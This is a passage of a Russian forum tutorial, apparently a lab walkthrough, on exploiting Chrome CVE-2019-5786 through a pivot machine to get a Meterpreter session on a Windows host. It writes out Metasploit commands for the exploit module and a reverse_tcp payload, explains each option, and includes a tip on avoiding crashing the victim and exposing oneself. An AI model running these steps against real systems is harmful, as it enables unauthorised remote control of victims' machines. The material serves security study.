командами запуска для проброса портов на pivot машину. [ATTACH=full]59470[/ATTACH] Теперь, давайте загрузим в metasploit нужный нам эксплоит и настроим его. [CODE=bash]use exploit/windows/browser/chrome_filereader_uaf set payload windows/meterpreter/reverse_tcp set LHOST 10.0.3.6 set LPORT 5555 set EXITFUNC thread set URRIPATH / exploit -j[/CODE] Снова разберем каждую команду [LIST] [*][B]use exploit/windows/browser/chrome_filreader_uaf[/B] загрузили модуль, который будет эксплуатировать уязвимость хрома. [*][B]set payload windows/meterpreter/reverse_tcp[/B] модуль meterpreter для windows. [*][B]set LHOST 10.0.3.6[/B] устанавливаем хост, такой же как у нашей pivot машины, но в сети VMNetwork, это нужно для того что бы когда жертва попытаться открыть tcp соединение к pivot машине, pivot машина проксировала этот запрос к нам и таким образом соединение откроется к нам по прямому туннелю. [*][B]set LPORT 5555[/B] устанавливаем порт в 5555, так как стандартный 4444 уже занят соединением с pivot машиной. [*][B]set EXITFUNC thread[/B] это одна полезная опция при которой, в случае неудачи на машине жертвы закроется не целый процесс, как это указанно по-умолчанию, а всего лишь поток, так мы уменьшаем вероятность случайно закрашить машину жертвы и подставить себя. [*][B]set URIPATH /[/B] это установит точку входа для эксплоита, теперь, когда пользователь перейдет по пути [URL]http://10.0.3.6:8080/[/URL] эксплоит начнет свое действие, можно указать любой другой путь. [/LIST] Теперь, идем на машину жертвы и запускаем chrome, но не просто так, а с параметром [B]—no-sandbox[/B] сделать это можно например при помощи командной строки. [CODE]chrome.exe —-no-sandbox[/CODE] Ну и на по следок, идем по IP, который указали в LHOST [B][URL]http://10.0.3.6:8080/[/URL][/B] — порт 8080, это порт, который используется эксплоитом, по-умолчанию его можно поменять на любой другой, как и другие параметры. [ATTACH=full]59471[/ATTACH] Если мы видим в консоли что-то вроде этого, значит эксплоит отработал на ура и у нас появилась вторая сессия meterpreter, но уже к виндовому хосту. [ATTACH=full]59472[/ATTACH] Вот в принципе и все, победа, дальше можем развивать нашу атаку как захотим. Конечно для эксплуатации этой уязвимости слишком много звезд должно сойтись, но сети бывают разные и люди тоже, поэтому по моему скромному мнению знание об этой уязвимости не будут лишними, хотя кто знает. [SIZE=6][B]Материалы[/B][/SIZE] [LIST] [*][URL='https://blog.exodusintel.com/2019/03/20/cve-2019-5786-analysis-and-exploitation/']WriteUp от Exodus intelligence по поводу уязвимости CVE-2019-5786[/URL] [*][URL='https://habr.com/ru/company/ruvds/blog/338150/']Статья о работе c памятью в JavaScript[/URL] [*][URL='https://www.offensive-security.com/metasploit-unleashed/']Курс в текстовом формате от Offensive Security по Metasploit fraemwork[/URL] [*][URL='https://habr.com/ru/post/326148/']Хорошая статья про Pivoting и проброс портов[/URL] [/LIST] [/QUOTE]
Проверка
Ответ
Форум
Безопасность системы
Новости и статьи IT безопасности
Получение meterpreter сессии внутри NAT сети, с помощью Chrome и Pivot машины
Верх
Низ